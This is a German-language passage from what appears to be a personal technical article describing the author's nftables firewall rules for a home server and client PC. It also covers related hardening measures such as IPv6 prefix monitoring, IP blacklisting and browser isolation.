Soweit es ICMP und dieses *cast-Pakete angeht, will ich solche Daten-Pakete auch nicht generell blocken, damit eben nicht primäre LAN-Funktionalitäten kaputt gefiltert werden, weil solche Pakete LAN-Intern teilweise tatsächlich netzwerktechnisch lebensnotwendig sind .... IPV6 mit geblockten ICMP funktioniert nämlich gar nicht. Und so ein Heckmeck, Regeln nach RFC4890 zu implementieren, will ich mir nicht antun. Solange ICMP und Multicast rein bestimmungsgemäß genutzt werden, soll das auch ungehindert funktionieren. Das wäre ja auch der Normalzustand, wenn gar kein Paketfilter installiert ist. Missbrauch durch Flooding oder unautorisierte wiederholte Zugriffsversuche von außerhalb werden hierbei aber sehr wohl beachtet, indem sie als Fremdpakete am Ende der Input-Sektion quasi als Default-Reaktion abgewiesen werden.

Sofern also ein Datenpaket bis jetzt nicht durch diese 4 Regeln abschließend erlaubt oder verworfen wurde, wird es nun zur weiteren Prüfung einfach an die hiernach folgenden Port-bezogenen Regeln übergeben. Sofern eine Regel passt, ist es Sache des Prozesses dahinter (z.B. Samba, OpenVPN, Dovecot, etc.) sicherzustellen, das es ein legaler Zugriff ist. Und wenn keine der Port-Regeln greift, wird das Paket am Ende durch eine der letzten 2 Regeln planmäßig endgültig verworfen.

Im folgenden beschreibe ich hier einzelne neue Aspekte dieses Paketfilters, die im vorherigen nicht enthalten waren:

Generell:

ipv4_vpn="10.0.8.0/23"

ipv6_vpn="fd00:10:0:8::/63"

Deklaration der durch OpenVPN verwendeten Subnetze

10.0.1.0/24

10.      0.       1.       0.

00001010 00000000 00000001 00000000

Lokales Netzwerk

10.0.8.0/24

10.0.9.0/24

00001010 00000000 00001000 00000000

00001010 00000000 00001001 00000000

VPN UDP

VPN TCP

10.0.8.0/23

^^^^^^^^ ^^^^^^^^ ^^^^^^^           

Deckt beide VPN-Netze ab.

Conntrack FTP

Zusätzlich zu den IP-v*-Conntrack-Modulen wird das Application Layer Gateway für FTP-Transporte geladen. Dadurch wird der früher notwendige Umstand beseitigt, unprivilegierte Port (>1024) pauschal öffnen zu müssen, was durchaus ein signifikantes Unsicherheitsmerkmal war. Für den FTP-Transport werden durch das ALG zusätzlich benötigte related ports explizit zur Verfügung gestellt, ohne dass sie anderweitig genutzt werden können.

GetNetw

Ermittelt aus den IP-Adressen vom aktiven Network-Interface den jeweiligen Netzanteil (IPv4 = /24, IPv6 = /64). Dabei gehe ich davon aus, dass das konfliktfrei ermittelt werden kann, weil es zu einem Zeitpunkt nur ein aktives NIC gibt. Jede andere Umgebung erfordert entsprechende Anpassungen. Mit diesem Prefix findet ein compare-matching der Daten-Pakete über SADDR (Source-Addresse) statt. Nur zum Prefix passend identifizierte Pakete werden angenommen, also nur Pakete aus dem eigenen Netzwerk, alles andere wird als "fremd" verworfen.

# = Comment-Tags

1. Deaktivieren Debug-Ausgaben oder Funktions- bzw. Syntax-Alternativen

2. Einige Rules sind auskommentiert... auf zwei weiteren Servern sind sie dann ggf. aktiviert, aber dafür sind dann andere inaktiv. Ich ändere das je Maschine nach Bedarf und Notwendigkeit.

Temporary Validity

Ein Feature, um die Rules zu testen und sicher zu sein, dass man hinterher trotzdem noch reinkommt, auch wenn man sich durch Regeln ausgesperrt hat. Dazu das exit 0 oberhalb kommentieren, die Rules werden nach 3 Minuten wieder gelöscht. Achtung: Das funktioniert dann allerdings nicht, wenn das Script nach dem Setzen der Rules und vor dieser Funktion mit einem Syntax-Error abbricht.

Log-Einträge

Das Script erzeugt Journaleinträge:  journalctl -b | grep netfilter

INPUT:

Conntrack-State new

ICMP echo-request

Mit dem Modul limit ist es möglich, sowohl die Rate von Matches explizit zu beschränken oder auch Höchstwerte vorzugeben, wodurch auch ein Schutz gegen einige DoS-Attacken (Denial of Service) implementiert wird.

limit

legt die maximale durchschnittliche Anzahl von Matches pro Zeiteinheit fest

limit-burst

legt einen Wert fest, ab dem –limit als Beschränkung aktiv wird

limit rate over

legt einen Schwell-Wert fest, ab wann die Regel aktiv wird.

Im obigen Rules-Set ist mit "over" ein Schwellwert festgelegt, mit dem bei überschreiten dieses Werts die verursachende IP vorübergehend (hier 60 Minuten) gebannt wird, siehe unterhalb "Blackhole".

Im Unterschied zu den new-Paketen werden im Anschluß an die 'Over'-Regeln ICMP und *cast erlaubt. Das ist sinnvoll, weil dafür kein lokaler Anwendungs-Prozess 'lauscht' und diese Pakettypen einen netzwerktechnischen Zweck erfüllen. Ob neue Pakete (CT-State NEW) allerdings jetzt auch noch erlaubt sind oder werden, entscheiden im weiteren Verlauf die Port- bzw. Prozess-Regeln. Wird dabei keine Entsprechung gefunden, wird das Paket durch die letzten 2 Default-Anweisungen rejected.

Gerade, dieses kleine Regel-Paket ist wirklich wichtig und effektiv, wenn ein Rechner resp. dessen Services direkt vom Internet aus angesprochen werden kann, wie das beispielsweise bei mir auf dem öffentlichen Port 443 der Fall ist. Im Regelfall blockt die Firewall des DSL-Routers Verbindungsversuche aus dem Internet. Aber der Port 443 ist ja hier absichtlich geöffnet, deshalb muss der dort ankommende Traffic natürlich auch reguliert werden. Und das soll passieren, ohne dass ich mich auf einen bestimmten Port oder Prozess festlegen will. Unerlaubte Zugriffe sollen frühest möglich generell erkannt und rejected werden, egal für welchen Prozess das Paket eigentlich bestimmt ist.

ct state established,related accept

Gerade  dieser sehr unscheinbar aussehenden Regel sollte man unbedingt Beachtung widmen. Diese established-related-Regel kann nämlich allein durch ihre Position im Regelwerk eine solche Tragweite entwickeln, dass sie quasi den gesamten Paketfilter neutralisiert.  Um das zu verstehen, ist es wichtig zu wissen, wann der Verbindungs-Status (conntrack-state) von new auf established wechselt. Und das passiert, wenn ein neues Paket erstmalig unbehelligt die Input- oder Postrouting-Chain passiert hat.

Wenn man -wie hier in den Beispielen mit OpenVPN- auch Verbindungen von außen zulässt, muss also ein solches neues Datenpaket erstmalig und wenigstens einmalig zur Berechtigungsprüfung tatsächlich auch beim auf dem Port lauschenden OpenVPN ankommen.  Das bedeutet aber auch, dieses neue Paket hat unbehelligt die Input-Chain passiert und kommt tatsächlich beim Service an. Und ab da gilt die Verbindung im Conntrack-State als "established", womit die Absender-IP-Adresse quasi als 'bekannt' definiert wird.... denn woher soll der Paketfilter wissen, ob ich selber das war oder ein Hacker, das Paket wurde ja zunächst erlaubt.... die Berechtigungsprüfung und die entsprechende Entscheidung trifft dann letztlich der OpenVPN-Service.

Wenn also nicht wir selber mit unseren Mobil-Clients für diese Verbindung verantwortlich waren, war es faktisch jemand fremdes, bei dem der OpenVPN-Service diesen Verbindungsversuch allerdings unmittelbar beendet hat. Für einen neuen Verbindungsversuch ist dann aber wieder ein neuer Verbindungsaufbau via TCP notwendig, welcher wieder ein new-Paket beinhaltet.... nur hat jetzt diese Absenderadresse im Connection Tracking den Status "ist bekannt".  Und wenn nun für alle folgenden Pakete sehr früh im Regelwerk alle established-Connects durchgewunken werden, kann dieser 'Hacker' mit ständigen neuen new-Paketen munter weiter versuchen, eine fertige Verbindung herzustellen. Das wollen wir natürlich nicht.

Insofern ist es wichtig, dass diese Regel erst nach den Regeln zur Prüfung auf den Status "new" angewendet wird, wo wiederholte Versuche bemerkt werden und diese schließlich einfach vorübergehend gesperrt werden.

ICMPv4

Ist eigentlich durchgängig erlaubt. Selbst die Prüfung auf "Flooding" ist hier eigentlich unnötig, da sich der PC hinterm Router befindet und kein Zugriff von außerhalb erlaubt ist (?).

ICMPv6

Abweichend zu IPv4 ist hier zu erwähnen, dass richtigerweise RFC 4890 für die ordnungsgemäße Abbildung von ICMPv6-Regeln zu beachten wäre. Ich habe mich allerdings für den einfachen Weg entschieden, eben weil mein Netzwerk nicht von außen erreichbar ist, insofern ICMP m.M.n. kein oder nur geringes Risiko darstellt und deswegen eine zu IPv4 analoge Verfahrensweise für mich ok ist. Für über das Internet erreichbare Netze mögen aber andere Grundlagen legen. Die Rules gemäß RFC 4890 habe ich der Vollständigkeit halber am Ende des Artikels angefügt.

Ausdrücklich geöffnete Ports

Für Anfragen/Zugriff regulärer LAN-Clients auf die Dienste des Servers, wie Mailserver, Syncserver, Printserver, Fileserver, SSH-Server. Nur Pakete mit SADDR aus dem LAN werden angenommen.

 

Betroffene Ports sind IP4 und IPv6 identisch geöffnet. Alle geöffneten Ports, für die jedoch kein Anwendung installiert ist, die ausgehende Pakete sendet, sollten mit # einkommentiert werden, um den Port zu schließen!

 
 

VPN-Ports

Ohne SADDR-Match, weil es eben zur Eigenschaft der Pakete gehört, von irgendwo auf der Welt zu kommen. Die weitere Behandlung der Pakete übernimmt der VPN-Server.

Blackhole-Regeln

"Blackhole" ist ein von mir gewählter bzw. übernommener Name für ein spezielles 'Named Set', welches  während der Initialisierung erstellt wird. In das Set werden zur Laufzeit dynamisch IP-Adressen als temporäre Elemente eingetragen, wenn für die IP zuvor multiple unerlaubte Connect-Versuche (durch überschreiten eines Schwellenwertes) ermittelt wurden. Das erste aufgefallene Paket wird rejected, alle weiteren werden gedropt. Für jede gebannte IP wird ein Journaleintrag erstellt:

journalctl -b | grep "Temp.banned"

 

Die eingetragenen IP-Adressen werden für 3 Minuten gesperrt und nach Ablauf des Timers wieder freigegeben. Das reicht um den aktuellen "Hack" zu unterbrechen.  Eine längere Wartezeit ist nicht notwendig, weil diese IP sowieso erst etliche Stunden oder Tage später wieder auftaucht. Und die ganz hartnäckigen Kandidaten wurden sowieso dauerhaft in die Blacklist eingetragen.

 

Die Sperrzeit kann auf andere Werte angepasst werden, zum Beispiel:

30s = 30 Sekunden

2m = 2 Minuten

6h = 6 Stunden

4d = 4 Tage

2h15m = 2 Stunden + 15 Minuten

OUTPUT:

Ausdrücklich geöffnete Ports

FTP (für Backups), Mail, Samba, DNS und NTP... das sind die Dienste, die vom Server ausgehend Pakete "senden"... das sind die von mir eingerichteten Dienste... Services, die wir im LAN nutzen. Kein anderes Programm hat darüber hinaus irgendwas ins Internet zu senden... wozu auch...?... ich brauch es nicht, also ist es auch nicht erlaubt.... Störungen deswegen habe ich im letzten Jahr nicht bemerkt.

 

Betroffene Ports sind IP4 und IPv6 identisch geöffnet. Alle geöffneten Ports, für die jedoch kein Service installiert ist, um eingehende Pakete anzunehmen, sollten mit # einkommentiert werden, um den Port zu schließen!

 
 

FORWARD:

VPN-Pakete

Neu sind hier die VPN-Pakete, bei denen einerseits zuerst der Weitertransport an das Netzwerk-Interface erlaubt wird und zusätzlich sichergestellt wird, dass in Postrouting ein NAT (Network Address Translation) durchgeführt wird. Ohne Masquerading würden zurückkehrende Pakete wegen der DADDR aus dem VPN-Netz einfach als unbekannte Fremdpakete verworfen werden bzw. ohne Paketfilter nie wieder den Weg zurück zum VPN-Client finden.

SetBlackList:

Drop TCP-Pakte mit SADDR

Explizites permanentes Sperren von IP-Adressen entsprechend einer Blacklist. Durch die Weiterleitung meines HTTPS-Ports 443 auf Port 55554 kommen zwangsläufig ständig fremde Connect-Versuche "rein". Das sind teilweise einmalige Irrläufer, es können aber auch Hacking-Attacken sein. Unerwünschte und wiederholt auftretende IP-Adressen werden über die Blacklist permanent gesperrt. Siehe Listing (!!! hier mit ungültigen Beispiel-IPs):

$ cat /usr/local/bin/netfilter-reject-ip

# Add a list of IP (4+6) addresses according to the following pattern:

# 1.2.3.4

# 4.5.6.0/24

# 2003::/16

# 2a00:1450:4016:80a::/64

#

# If there are more IP addresses than just a handful, ipset is the better solution.

773.94.123.93

288.39.135.777

771.46.202.0/24

2a00:1450:4016:80a::2003

Mit der Verwendung der Chain "raw", dem Functions-Hook  "prerouting" und der hohen Minus-Priority findet die Überprüfung der IP-Adresse im TCP-Paket zum frühest möglichen Zeitpunkt im Workflow des Prozesses "Netfilter" statt. Das bedeutet, hier verworfene TCP-Pakete können im Rechner keinen einzigen anderen Prozess mehr erreichen ... weg bedeutet endgültig weg.

Ich bitte zu beachten, dass dieser absolute Filter nur für eine eher geringe Anzahl von IP-Adressen geeignet ist. Ich würde diesem Prozess keine 100'e oder 1000'e Adressen zu Prüfung übergeben, in der Sorge, dass der Prozess dann irgendwann massiv negativen Einfluss auf die Netzwerk-Performance hat. Sobald es sich -getrennt für IPv4 und IPv6- um eine größere Anzahl von zu filternden IP-Adressen handelt, ist "ipset" eindeutig die bessere Lösung.

 

Für jeden geblockten Verbindungsversuch wird ein Journaleintrag erstellt.

journalctl -b | grep "Blacklisted"

log prefix "Reject blacklisted IP:"

Für IP-Adressen, die eine neue Verbindung aufbauen wollen, aber derzeit geblacklistet sind, wird für jeden Versuch ein Log-Eintrag erstellt, bevor das TCP-Paket verworfen wird. IPs, von denen man längere Zeit nichts mehr "gehört" hat, können aus der Blacklist entfernt werden.

Tja, jetzt wird es doch noch ein wenig kompliziert... und zwar durch Umstände, die gar nicht unmittelbar mit dem Paketfilter zu tun haben, ihn aber trotzdem maßgeblich beeinträchtigen. Früher war es einfach, da gab es nur IPv4. Früher war die tägliche Zwangstrennung des Routers vom Internet mit gleichzeitiger Vergabe einer neuen WAN-IP obligatorisch und kaum jemanden hat es interessiert, und für den Zugang von außen gab es ja den DynDNS-Account um dieses Problem vollständig zu neutralisieren. Und die IP-Adressen innerhalb des LANs waren eh immer die gleichen. Teilweise (bei einigen Providern) ist es auch heute wieder einfach, wenn der Internet-Zugang über DS-Lite nur via IPv6 möglich ist. Die Zwangstrennung bei solchen DS-Lite-Anschlüssen ist heute nicht mehr die Regel, ein IPv6-Prefix kann durchaus monatelang 'überleben'. Und dann braucht's nicht mal mehr den Dyn-DNS-Account, sondern nur die aktivierten Privacy Extensions.

Was es aber kompliziert macht, ist die dritte Möglichkeit, wenn einige Internet-Provider für ihre DSL-Kunden den Dual-Stack schalten. Das bedeutet, dass die zwei Internet-Protokolle IPv4 und IPv6 gleichzeitig im Parallelbetrieb aktiviert sind, was somit zwar eine besondere Netzwerkeigenschaft darstellt, was aber aus technischer Sicht nicht ungewöhnlich ist und was vermutlich auch auf hunderttausende weitere Kunden zutrifft. Nur findet leider (und vermutlich) wegen der doch eher limitierten Verfügbarkeit von IPv4-Adressen immer noch eine Zwangstrennung statt, mit dem Resultat, dass man für die eigene Internetverbindung täglich eine neue öffentliche IPv4 bekommt, sowie einen neuen Prefix für die eigene Site-ID mit IPv6.

Das ist für unser IPv4-LAN völlig bedeutungslos, weil der lokale IPv4-Adress-Bereich von der WAN-IP unabhängig sowieso im Router konstant eingetragen ist. Dem IPv4-Netz habe ich einen konstanten 24-Bit-Anteil zur Festlegung des "Netznamens" vorgegeben, der für alle Client-Geräte gleichermaßen gilt. Bei der Länge von insgesamt 32 Bit sind dann die verbleibenden 8 Bit der individuelle Geräteanteil der IP-Adresse. Aber diese tägliche Zwangstrennung hat eine große Bedeutung für den IPv6-Stack. Die eigentlich gleiche Aufgabe wie im IPv4-Netz erfüllt hier ein 64-Bit-Anteil im IPv6-Netz, von denen aber nur die ersten 56 Bit der tatsächliche ISP-Prefix sind (wobei das jetzt nicht bedeutsam ist). Diese ersten 64 Bit enthalten also täglich aktualisiert den Netzwerkanteil aller meiner IPv6-Adressen, oder richtiger Site-ID genannt. Die verbleibenden hinteren 64 Bit sind wieder der individuelle Geräteanteil meiner Client-Geräte.

Also, das eigentliche Problem ist, dass sich täglich genau die wichtigen ersten 64 Bit der IPv6 ändern. Und diese 64 Bit sind der relevante Teil, der für IPv6 den Netzwerkanteil resp. das  Netzwerk als solches sowohl lokal als auch im Internet repräsentiert. Das bedeutet, ich habe täglich ein neues IPv6-Netzwerk, basierend auf Global-Unicast-Adressen, basierend auf einen sich täglich ändernden 64-Bit-Prefix - im Gegensatz zum IPv4-Netz, welches konstant ist. Und dieser Umstand ist wiederum für eine wichtige Eigenschaft des Paketfilters relevant. Ich habe mich nämlich entschieden, den Paketfilter als "Stateful Firewall" weitestgehend Source-Adress-Gebunden zu gestalten. Das heißt, Erlaubnisse (ACCEPTs) für eingehende Datenpakete (Inbound Traffic) sind nicht einfach pauschal erteilt, sondern sie sind weitestgehend an Geräte aus dem eigenen Netzwerk gebunden. Daraus resultiert wieder der für die Sicherheit relevante Aspekt, dass alle ankommenden Pakete, deren Quelle kein Gerät aus unserem Netzwerk ist, direkt verworfen werden (können).

Die Lösung für dieses Problem ist also, täglich rund um die Uhr zu prüfen, ob sich der ISP-Prefix geändert hat und wenn ja, die Firewall neu zu starten, damit sie sich re-initialisieren kann. Ich habe die Zwangstrennung durch eine Einstellung im Router auf eine fixe Zeit außerhalb des heimischen User-Fensters eingestellt, was jetzt regelmäßig und relativ pünktlich früh morgens diese Zwangstrennung nach sich zieht. Allerdings prüfe ich dennoch stündlich rund um die Uhr auf eine Änderung des 64-Bit-Prefix. Ein Strom-Ausfall (Leitungsschutz-Automat, FI) oder außenliegende Einflüsse können den Router auch neu starten oder auf andere Weise zur Vergabe neuer IPv6's führen. Die Prüfung wird durch einen Cron-Job gestartet, und zwar immer 5 Minuten vor der vollen Stunde. Das hängt damit zusammen, dass zur vollen Stunde unterschiedliche Jobs starten, die natürlich nicht durch alte Paketfilter-Einstellungen geblockt werden sollen. Die schlimmste Auswirkung nach einer Zwangstrennung und bis zur nächsten Prüfung könnte sein, dass IPV6-Pakete kurzzeitig blockiert werden. Aber das bewerte ich als sicherheitsrelevanten Umstand und durch das weiterhin funktionierende IPv4 wird das hier sowieso nie jemand bemerken.

root-Crontab:

55 * * * *        /usr/local/bin/is-new-isp-prefix

is-new-isp-prefix (ist im Tarfile enthalten) hat folgenden Programm-Ablauf:

1. Das aktive Netzwerk-Interface ermitteln... unter der angenommenen Bedingung, dass es nur ein aktives gibt

2. Ca. 90 Sekunden lang jeweils mit 10 Sekunden Pause prüfen, ob das NIC eine aktive IPv6 hat

3. Sobald ein aktiver Prefix gefunden wurde, diesen für spätere Vergleiche in Datei /var/run/actual_isp_prefix sichern

4. Prüfen, ob der neue Prefix wirklich noch nicht im aktiven IPv6-Netfilter eingetragen ist, wenn enthalten, dann Programm "erfolgreich" beenden

5. Wenn nicht, aktiven Paketfilter (netfilter) zuerst flush'en und dann neu starten

6. Den neuen Prefix per Mail mitteilen und Programm beenden

Wenn keine IPv6 ermittelt werden kann, betrachte ich das IPv6-Netzwerk als nicht gestartet, dementsprechend wird auch kein Netfilter gesetzt. Falls aus irgendwelchen Gründen (z.B. manuelle Eingriffe durch den Admin) das IPv6-Netzwerk auf einmal doch gestartet ist, findet keine Traffic-Filterung für IPv6 statt, alle Pakete werden stattdessen auf Localhost begrenzt.

"Warum muss das eigentlich so kompliziert sein, warum mit IPv4 und IPv6 überhaupt zwei IP-Stacks?" Ja, das ist 'ne gute Frage... es muss gar nicht so kompliziert sein, es wäre auch heute noch genau wie früher ausreichend, einfach nur IPv4 zu betreiben und IPv6 zu deaktivieren. Allerdings kann das kein wirklich ernsthaftes Ansinnen sein, das unzweifelhaft bessere Protokoll (weils z.b. NAT überflüssig macht) zu deaktivieren, nur weil man sich nicht mit den Gegebenheiten auseinandersetzen will. Solche Ratschläge zur Lösung vermeintlicher Probleme habe ich noch nie verstanden… denn schlechter kann man ein Problem wirklich nicht lösen. Außerdem entsteht dabei der für mich unerwünschte Nebeneffekt, deaktiviert man das tatsächlich bessere IPv6, so deaktiviert man auch von vornherein die Möglichkeit, die Besonderheiten von IPv6 lernen zu können. Und ich kann nicht behaupten, verbindlich zu wissen, wie lange es überhaupt noch WAN-IPv4s für mich/uns gibt. Das könnte sich schon bei einem denkbaren Providerwechsel in naher oder mittlerer Zukunft ändern. Ich bereite mich stattdessen gerne vor. Ich möchte "wissen", um im Fall der Fälle nicht von völlig Unvorhergesehenen überrascht zu werden. Und der einfachste Weg ist es, aus der Sicherheit eines funktionierenden IPv4-Netzes die Besonderheiten von IPv6 kennenzulernen und auch durchaus mal gezielt zu strapazieren, um dann irgendwann später treffend einschätzen zu können, woran man ist und wie damit umzugehen ist.

3. Paketfilter für einen Client-PC im LAN (also hinter einem Router)

Der Programm-Aufbau, die Logik dieses Scripts ist fast identisch mit der des Servers. Die markanten Unterschiede sind, ich verzichte hier auf die Tabelle NAT und die Outbound-Ports dieses Client-Filters passen zu den Inbound-Ports des Server-Filters…. ist ja auch klar, das muss so sein, weil der Client eben als Client verschiedene Dienste des Servers nutzt. Das ist das, was ich weiter oben mit Abstimmung der Filter untereinander meinte… siehe dazu Zahnrad-Bild.

Dem entgegengesetzt sind hier die Inbound-Ports sehr scharf beschränkt. DNS ist essentiell, also ist das erlaubt… aber alles andere? Nööö, ist verboten! Egal wer diesen PC anruft, ganz egal woher, der PC hat gefälligst kein Gespräch anzunehmen. Punkt! Lediglich die von mir genutzten Wartungszugänge sind erlaubt, also SSH via Keyfile auf allen Clients und LAN-Intern auf einem einzelnen dedizierten JDL2-Server der Remote-Desktop-Daemon VNC.

Dieses Script läuft sowohl auf meinen PC und als auch flexibel aktiviert auf meinem Reise-Laptop. Auf dem Laptop habe ich die verschiedenen Situationen, dass ich ihn sowohl zuhause im LAN nutze, teilweise unterwegs aber auch offene Gastgeber-Netzwerke verwende, mich aber trotzdem hinter meiner eigenen Router-Firewall befinde. Und teilweise, je nach örtlicher Gegebenheit, bin ich auch mal direkt an fremden Accesspoints angemeldet. Je nach Umstände verwende ich also entweder die kurze ‚scharfe‘ Reise-Version von oben oder die etwas großzügigere hier folgende. Hinter dem Router ist es für mich dann auch Gang und Gäbe, meine Laufwerke zuhause via OpenVPN zu mounten oder einfach nur mein Mailpostfach zu checken, dem entgegen will ich aber bei direkter Anmeldung die schärfste Regulierung. Ich hatte es schon erwähnt, Sicherheit kostet immer, auf die eine oder andere Weise… hier verlangt es Sorgfalt, Disziplin und Gewissenhaftigkeit – also persönlichen Aufwand. Eine unbekannte bzw. fremde Gegenseite bewerte ich grundsätzlich als 'nicht-freundlich gesinnt' ... auch wenn sie es ist und ich ihr damit Unrecht tue... aber in solcher Situation einmal fahrlässig agiert und man fängt sich unterwegs irgendwas ein.

Ebenso wie beim Server gibt es auch beim Client-PC zusätzliche Maßnahmen und Aspekte, die zwar nur indirekt zum Firewall-Konzept gehören, die allerdings trotzdem eine signifikante Wirkung auf die Aufrechterhaltung der Integrität unseres PCs haben. Und auch hier wieder im Wesentlichen durch Verzicht auf Komfort – in bestimmten Fällen sogar tatsächlich für uns auch unbequem bemerkbar. Hier nenne ich also einige Maßnahmen, die einen „offenen Durchgang“ ins Internet betreffen, und zwar den durch unseren Browser.

 

Mein eigenes Browser-Profil (User ‚thomas‘) wird grundsätzlich nicht zum Surfen im Internet verwendet, sondern nur für lokales Customizing (lokale Webinterfaces router, cups, radicale, meine eigenen Web-Seiten, etc.)

 
 
 

Für freies Surfen auf seriösen Seiten wird das Homedir-Profil eines völlig unberechtigten virtuellen Users verwendet, und zwar mit scharf eingestellten Ublock Origin und expliziter Seiten-Freigabe – d.h., ich verwende zur Prüfung keine fremden Listen, sondern greife auf hier im Laufe der Zeit gewachsene Einstellungen mit „allow“ und „block“ zurück.

 

Für ‚unseriöses‘ Surfen auf fragwürdigen Seiten verwende ich eine VM ohne Zugriffe auf das lokale Netzwerk und mit einem völlig rechtelosen User. Die VM enthält weder irgendwelche Anwender-Daten noch andere Anwendungen auẞer dem Browser. Ublock Origin ist wie zuvor scharf eingestellt, was bedeutet, dass die meisten Seiten erst nach Freigabe einzelner zur Seite gehörender Verbindungen und Scripte ansehbar sind.

 

Für Online-Banking verwende ich eine völlig isolierte VM, die mit allem anderen nichts zu tun hat und von nichts tangiert wird. Auch diese VM hat keine anderen Anwendungen außer dem Browser installiert. Ublock Origin erlaubt nur die Verbindung zur Bank, deshalb ist mit diesem Browser eigentlich kein sinnvolles Surfen möglich.

 

Zusätzlich ist auch noch Firejail installiert, mit dem ich dann doch noch mal in seltenen Fällen einen Youtube-Link öffnen kann…. was auch quasi der einzige Grund für mich ist, Firefox in einer Sandbox zu nutzen. Dieser Browser wird bei jedem neuen Start mit komplett neuem temporären Profil gestartet. In keinem meiner Browser-Profile sind Google-Domains erlaubt, also alles, was mit Google zu tun hat, ist mit Ublock Origin rigoros verboten. Wenn es aber in seltenen Fällen doch benötigt wird, ist eben Firejail die vorübergehende Lösung.

 

Schließlich müssen auch noch die von den Datenkraken angelegten und durchgezogenen Tracking-Linien oder -Spuren (über die Einschaltzeit des PC hinaus) unterbrochen werden. Dazu sollte bei jedem Sitzungsende des Browsers der Cache und angelegte Cookies manuell gelöscht werden, oder (was ich für die bessere Lösung halte) von vornherein immer nur im Private-Mode zu surfen, wodurch bei Sitzungsende alle vom Browser angelegten Daten automatisch gelöscht oder gar nicht erst angelegt werden.

 

Als letztes ist noch WebRTC-Detection zu disablen, um Local-IP-Leaks zu verhindern. Dazu entweder Java-Scripte generell verbieten, oder in Firefox:

about:config → media.peerconnection.enabled = false

Natürlich ist es nicht zwingend notwendig, sich mehrerer Browser-Profile zu bedienen, und ich empfehle das auch nicht generell. Die Sinnhaftigkeit dazu ergibt sich allein aus dem persönlichen Surfverhalten. Wer täglich nur mal seine Emails nachsieht, dabei nur kurz (oder auch mal gar nicht) online geht und kein weltweiter Surfer ist, wird das vermutlich alles nicht brauchen. Bei solchem Hintergrund wären meine Maßnahmen wahrscheinlich hoffnungslos übertrieben. Bei uns ist das aber anders, hier hat keiner Angst vor Computern, oder vor dem Internet, das sind willkommene tägliche Werkzeuge für alles, was das Leben bereichern oder erleichtern kann. Anzumerken ist, dass ich für diese 5 Browser-Varianten jeweils 1 Desktop-Symbol installiert habe. Sobald ich ein Symbol anclicke, wird der dazugehörige Browser gestartet, unabhängig davon, ob in meiner User-Anmeldung, in der eines anderes Users, in einer Sandbox oder in einer VM. Lediglich die VM dauert 3-4 Sekunden länger, was mich aber überhaupt nicht stört. Um diese Stufe der Sicherheit zu erreichen, sind zusätzlich Ublock Origin, Virtual Box und Regeln (Berechtigungen) für das Policykit notwendig. Statt Ublock Origin werden auch andere Script-Blocker funktionieren, aber Ublock Origin hat mich mit seinen Fähigkeiten zum Universal-Blocker, die weit darüber hinausgehen, nur ein Adblocker zu sein, in jeder Hinsicht überzeugt.

Ja, ich weiß, so vorzugehen ist aufwendig, es macht Arbeit, es dauert lange, bis man sich sein eigenes Filterwerk beim täglichen Surfen so erstellt hat, dass man es nicht mehr bemerkt und das es nur noch bei „fremden“ Seiten blockt. Aber das sagte ich doch schon viel weiter oben, Sicherheit kostet… auf die eine oder andere Art. Hier ist es eben der Aufwand und auch unbequeme Effekte beim Surfen, wenn eine Seite beim Öffnen zunächst mal nicht funktioniert... man muss die Seite hinterfragen und ggf. freigeben oder sich zu dazu entscheiden, auf diese Seite ganz zu verzichten. Wer das alles nicht will und trotzdem Powersurfer ist, muss in Folge einer solchen Entscheidung aber eigentlich auch seine Firewall hinterfragen…. man muss sich selber beantworten, wogegen soll die Firewall überhaupt schützen, wenn man sie möglicherweise selber von innen heraus neutralisiert? Fakt ist, der Browser und der Email-Agent sind die Einfallstore, durch die Malware auf unsere Rechner gelangt. Aber diese Fragen kann nur jeder für sich selber beantworten, weil man nur selber sein Surfverhalten beurteilen kann.

Zusätzlich sind es noch die folgenden weiteren Aspekte, die es unbedingt ebenfalls wert sind, beachtet zu werden:

 

Mit ss -tulpn den eigenen PC darauf überprüfen, welche Dienste auf welchen Ports pauschal auf dem aktiven Netzwerk-Interface ‚lauschen‘, ggf. diese Dienste auf localhost oder den lokalen Netz-Prefix einstellen

 

Unnötige bzw. redundante Dienste sind vollständig deinstalliert oder deaktiviert (siehe Hinweise bei Paketfilter für Server)

 

SSH-Anmeldungen nur mit Keyfile-Autorisierung erlauben (PubkeyAuthentication yes, PasswordAuthentication no). root-Login ist nicht erlaubt (PermitRootLogin no).

 

Für IPv6 die Privacy Extensions aktivieren

 

Der Remount von /home, /dev/shm und /tmp mit noexec,nosuid,nodev verhindert das direkte Ausführen eines Scripts oder Programms in diesen Verzeichnissen. Ja, ich weiss, über den Weg /bin/bash {name} geht das trotzdem, aber der Remount schützt zumindest den Anwender vor sich selber, der vielleicht gutgläubig ein Mail-Attachment speichern und per Click aus dem Dateimanager starten will. Und wer dann bewusst und vorsätzlich zur Umgehung der vorhandenen Beschränkungen Wege sucht und diese auch geht und damit ein nicht-erlaubtes Programm ausführt, der soll bitte noch mal oben die Absätze zum Thema „Saboteur“ nachlesen. Das ist dann definitiv kein Problem von Firewall, Antivir und Co, sondern ein „richtig fetter Compliance-Verstoß“.

 

Auf den Clients systemd-timesyncd auf den eigenen Router einstellen, den Router dafür als Timeserver im Netzwerk aktivieren

Für diesen Paket-Filter gelten wie zuvor beim Server ebenfalls drei einfache Forderungen:

1.

Es ist grundsätzlich alles verboten

 
 

2.

Erste Ausnahme:

Für einige wenige explizit benannte Ports werden eingehende Pakete dann angenommen, wenn die Quelle des Pakets innerhalb des Heim-Netzwerks liegt, ansonsten gilt Pkt .1

3.

Zweite Ausnahme:

Für explizit benannte Ports ist ausgehender Traffic erlaubt, ansonsten gilt Pkt. 1

 

/usr/local/bin/netfilter

Die Rechte-Einstellung für das Script:         root:root 755

 

#!/bin/bash

#=================================================================================================================

# Description:  Client-Netfilter

# Version:      7.0.1

# Date:         23.06.2020

# Written by:   TomL*thlu.de

# Licence:      GNU General Public License 3

# Usage:        netfilter                      Set Netfilter IPv4 and IPv6

#               netfilter { 4 | 6 }            Set Netfilter IPv4 or IPv6

#               netfilter flush                Flush Netfilter

#               netfilter list                 List all rules

#=================================================================================================================

PATH=/sbin:/usr/sbin:/bin:/usr/bin:$PATH

 

[ "$1" == "flush" ] && nft flush ruleset && echo "netfilter flushed!" | systemd-cat -t "thlu:$(basename $0)" -p "warning"

[ "$1" == "list" ] && nft -nn list ruleset

[ -n "$1" ] && [ ! "$1" == "4" ] && [ ! "$1" == "6" ] && exit 0

 

echo "netfilter started!" | systemd-cat -t "thlu:$(basename $0)" -p "info"

 

modprobe nf_conntrack

modprobe nf_conntrack_ftp                                                                                   # FTP Application-Layer-Getway
